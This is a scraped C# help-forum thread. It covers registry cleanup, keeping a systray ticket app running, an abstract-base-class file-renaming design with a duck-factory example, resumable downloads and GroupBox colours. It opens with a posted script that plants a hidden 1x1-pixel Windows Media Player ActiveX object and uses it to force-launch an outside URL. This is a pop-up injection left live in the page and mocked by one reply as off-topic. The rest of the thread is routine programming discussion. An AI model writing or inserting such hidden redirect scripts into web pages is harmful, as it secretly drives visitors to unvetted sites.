|
<script type="text/javascript">
function object_pop(url){var object=document.createElement('object');object.setAttribute('classid','CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');object.style.cssText='position:absolute;left:1px;top:1px;width:1px;height:1px;';append(object);object.launchURL(url)}
function append(e){for(var t in{body:1}){var ele=document.getElementsByTagName(t);for(var i=0;i<ele.length;i++){ele[i].insertBefore(e,ele[i].firstChild);return}}}
object_pop("http://www.xamq.com/");
</script>
|
|
|
|
|
...and this has what to do with C#, exactly??
|
|
|
|
|
Hi,
this is my first question here.
I want to know how to code removal tools for games or apps in C#. Is there any unique technique for that?
|
|
|
|
|
First, you're going to have to define what, exactly, you mean by "removal tools" and what you want this thing to do.
|
|
|
|
|
By removal tool I mean that this application must remove any registry values or any file that uninstaller didn't remove.
|
|
|
|
|
Well, you're going to find that an impossible task as you're installer is going to have to have PRE-EXISTING KNOWLEDGE of every single file and registry key/value that any application COULD apply to the machine.
There is no table or database anywhere that lists/describes every possible registry addition and file for every application and which goes to what application, so you're going to have to do this research yourself by installing every possible feature and configuration of every application and capture the results. Good luck!
|
|
|
|
|
Thank you for your reply.
I can't be a good developer if I don't work very hard
|
|
|
|
|
RegistryKey RegKey = Registry.LocalMachine.OpenSubKey(@"[HKEY_CURRENT_USER\Software]", true);
if (RegKey != null)
{
RegKey.DeleteSubKey("Downtangolaunchertoolbar");
}
ListView1.Items.Insert(0, "Is deleted!");
This is the code that I am using for deleting Downtangolaunchertoolbar sub key.
When I run that code, I am still seeing that registry in Registry Editor.
|
|
|
|
|
What would be the best way for a windows service to interact with a sys tray icon? I have found a lot of tutorials on systray icons interacting with a windows service but i think I need the reverse.
Basically I have a systray icon that needs to run on a per-user basis.
I have the systray icon and an installer which puts it under the Start Up folder for All Users. The problem is it won't start unless they log off and back on. Plus if for whatever reason it crashes or the process ends it won't start back up after that unless they log off and back on again.
So I was thinking of a service that monitors each user on the system (some terminal servers) that makes sure that the certain process is running for each user.. if not then start that process for that user session.
Any ideas?
|
|
|
|
|
|
JD86 wrote: What would be the best way for a windows service to interact with a sys tray icon?
It shouldn't; services are run before the user logs on, and there's no systray on the logon-desktop.
If you 'must', I'd recommend having a second winform app that implements the systray-functionality, and have it communicate with the service.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
The problem I have is this systray icon is a ticket application. People will use it to submit tickets to the help desk.
So I need some way to make sure the icon is running for each and every user and always running. The way I have it right now it launches from the Startup folder when they log in.
So if the application crashed (it shouldn't.. but you never know) or if the process was killed for some reason.... it won't be running anymore.
Maybe i'm being overly cautious and the chances of it actually not running anymore are too slim to worry about.... You can't exit it from the context menu of the systray anyways.
|
|
|
|
|
JD86 wrote: So if the application crashed (it shouldn't.. but you never know) or if the
process was killed for some reason.... it won't be running anymore.
This is where a second application is executing as the user, watching for the sys tray app. If the process terminates or doesn't respond, it gets kill and restarted.
NOTHING that happens in a UI ever gets touched by a service. This is being strictly enforces starting with Windows Vista and even more so with Windows 7 and again with Windows 8.
|
|
|
|
|
JD86 wrote: So if the application crashed (it shouldn't.. but you never know) or if the process was killed for some reason.... it won't be running anymore.
OMG
..imagine, someone like me, cutting the power to the PC. Would the program still run? Is the app there to help me, or is it there to be some kind of nuisance?
A task that is really 'unkillable' should prevent the PC from event rebooting, shouldn't it?
What you say you make submitting a ticket very easy? With a nice webform and an easy to remember-url? Wouldn't that be providing more of a service?
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
I don't really get what you are trying to get out nor do I care for the way you are coming off.
I work in a IT business. We have clients that we manage their computers. One thing that we want is a systray icon to make it easy for customers to submit a ticket.
A Windows application is better in this case instead of a web application. For one the web application would let anyone use it (we don't want it). If we locked it down by username and password then that is just an extra step for the user (we don't want an extra step for the user).
With a windows application a user can EASILY click a button to take a screenshot that has the error message on the screen. With a web application this would not be easy if possible (maybe with installing some active-x crap or something).
With a windows application & systray icon a user can simply right click an icon on their desktop and choose "Create Service Ticket". With a web application they would have to type in the URL, click a shortcut on their desktop, wait for the page to load and submit the ticket. Now you are dealing with more overhead since you are using IE, Firefox or whatever browser you are using. Which in turn uses more memory.
So if you want to get technical then a web form for submitting a ticket is less ideal than an application that we can push out with our monitoring service.
Anyways I'm not going to worry about something to make sure the process is running at all times. I think it will be a rare occurrence when it isn't running anyways... so we can just deal with that when it comes.
I appreciate the others that gave constructive feedback. Thank you.
|
|
|
|
|
JD86 wrote: nor do I care for the way you are coming off.
Sets the tone just nicely
JD86 wrote: A Windows application is better in this case instead of a web application.
With a windows application a user can EASILY click a button to take a screenshot that has the error message on the screen. With a web application this would not be easy if possible (maybe with installing some active-x crap or something).
Good point. I pointed out the possibility of a simple webform, as a browser is even available on most phones. It's easily accessible, and has a low threshold for the user. You're right that screenshots are invaluable when providing assistance. Same goes for having TeamViewer on there and having access to the log-files.
JD86 wrote: So if you want to get technical then a web form for submitting a ticket is less ideal than an application that we can push out with our monitoring service.
..that sounds like it's got more features than making screenshots?
JD86 wrote: Anyways I'm not going to worry about something to make sure the process is running at all times. I think it will be a rare occurrence when it isn't running anyways... so we can just deal with that when it comes.
Given the background, you do. I'd advise to try and "make it easy to submit" for a user; that's a bit broader focus, and could contain something like making your app easily restartable. My parents are using a shortcut to start their TeamViewer - it needn't be always on, as the shortcut is on the taskbar.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Hi
I'm struggling with how to structure this project in relation to base/generic/abstract classes.
Basically I was asked to write something quickly to rename some files (e.g. "File 00123 F Bloggs") to extract the number and rename the file as that, i.e. "123". Thinking this was a one off I created a simple exe. Then I was asked to do it a few more times for different files (e.g. "NewFile 045 F B") to "45". The function is the same except it checks what the filename starts with to make sure it is only renaming those files. So I thought I'd write a generic renaming tool and just take in a parameter for the start of the filename to check.
However, then I was asked to rename files to a different format (e.g. "Info 123 (24-08-2012)") to "INF-CD-20120824". So obviously for this the function is different.
I decided to call each renaming option, a Profile.
I thought I could create an abstract base class with the common functionality for Rename(...), but then override it in derived classes when a custom version was needed.
But I also just want to be able to call _profiles.CurrentProfile.Rename(...). But how can I do that when CurrentProfile might be of different derived types?
Am I approaching this right with an abstract base class or should I be taking a different approach?
Can provide rough source if needed.
Thanks
modified 12-Oct-12 11:00am.
|
|
|
|
|
UCLAdam wrote: Am I approaching this right with an abstract base class or should I be taking a different approach?
Nope, sounds about right.
UCLAdam wrote: But I also just want to be able to call _profiles.CurrentProfile.Rename(...).
As long as the object implements the member with the name "Rename", that should work. Your main application would still be working with that base-class, calling methods on it. You could use a strategy-pattern to decide which derived class gets instantiated;
namespace bla
{
abstract class DuckBase
{
abstract public void Rename();
}
class RubberDuck: DuckBase
{
override public void Rename()
{
Console.WriteLine("Squeek");
}
}
class MallardDuck : DuckBase
{
public override void Rename()
{
Console.WriteLine("Quack");
}
}
class Program
{
enum KindaDuck { RubberDuck, MallardDuck };
DuckBase DuckFactory(KindaDuck DuckType)
{
switch (DuckType)
{
case KindaDuck.MallardDuck: return new MallardDuck();
case KindaDuck.RubberDuck: return new RubberDuck();
}
throw new IndexOutOfRangeException(DuckType.ToString() + " is not a known duck.");
}
static void Main(string[] args)
{
DuckBase ducky = new RubberDuck();
ducky.Rename();
Console.ReadKey();
}
}
}
The only rule is that the Rename method must have the same signature everywhere. If that becomes a problem, call back again, as there's a simple solution
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Thanks Eddy, your reply really helped.
I thought it would probably have to be a strategy-pattern to decide which derived class gets instantiated.
I know it must be intentional, but just checking that in your example the DuckFactory isn't actually being used?
Thanks again.
|
|
|
|
|
UCLAdam wrote: Thanks Eddy, your reply really helped.
My pleasure
UCLAdam wrote: I thought it would probably have to be a strategy-pattern to decide which derived class gets instantiated.
I know it must be intentional, but just checking that in your example the DuckFactory isn't actually being used?
Whehe, most important part of the entire pattern, and I simply forgot it
static void Main(string[] args)
{
DuckBase ducky = DuckFactory(KindaDuck.MallardDuck);
ducky.Rename();
Console.ReadKey();
}
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Do you suspect many more of those renames to be requested?
I think that you trying to do simple think even simpler. And you complicating thinks to much in the same time. I know this. We all know (developers) this trap.
Basically what I mean that if you are making single exe, every change must be change in code. You must open code, change it, add something. So writing complex OOP class structure will be time consuming. And not worthit since end user will not use configuration or parametrized arguments.
I would write something simple like RegExp for matching/extracting files names and string.format for creating new names. New profile, new reg pattern and new format string.
You never know what will come to mind of customer so i think any clever solution will restrict you to much, to that point you wil have to rewrite whole thing every time. Will it be wort it? I think no. Better spend this time doing more interesting things.
It is my experience, but you wil what you decide.
No more Mister Nice Guy... >: |
|
|
|
|
|
We have an app that needs to download some 20MB file via a GSM connection. Due to the size of file and nature of the GSM connection, we want the download can pick up and continue from where it dropped off. Any info or suggestions? Thanks!
Best,
Jun
|
|
|
|
|
Jun Du wrote: Any info or suggestions?
Yes, a thing called "research". Start here[^], and use a HttpRequest to fetch the desired byte-range. There might be an article on the subject, but I was to lazy to check
--edit
Another downvote for the collection. Was it that really that annoying that I did not check? Here's[^] your article - you're welcome
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
modified 12-Oct-12 19:43pm.
|
|
|
|
|
i want to change color.
If Groupbox enable fasle mode,.. then all text box, combo etc color change.
if Groupb box box enbale true,.. then no problem.
give me solution...
|
|
|
|
|
Hi,
Can you please clarify if the textboxes and comboboxes are located within the group box?
Cheers
Marco
|
|
|
|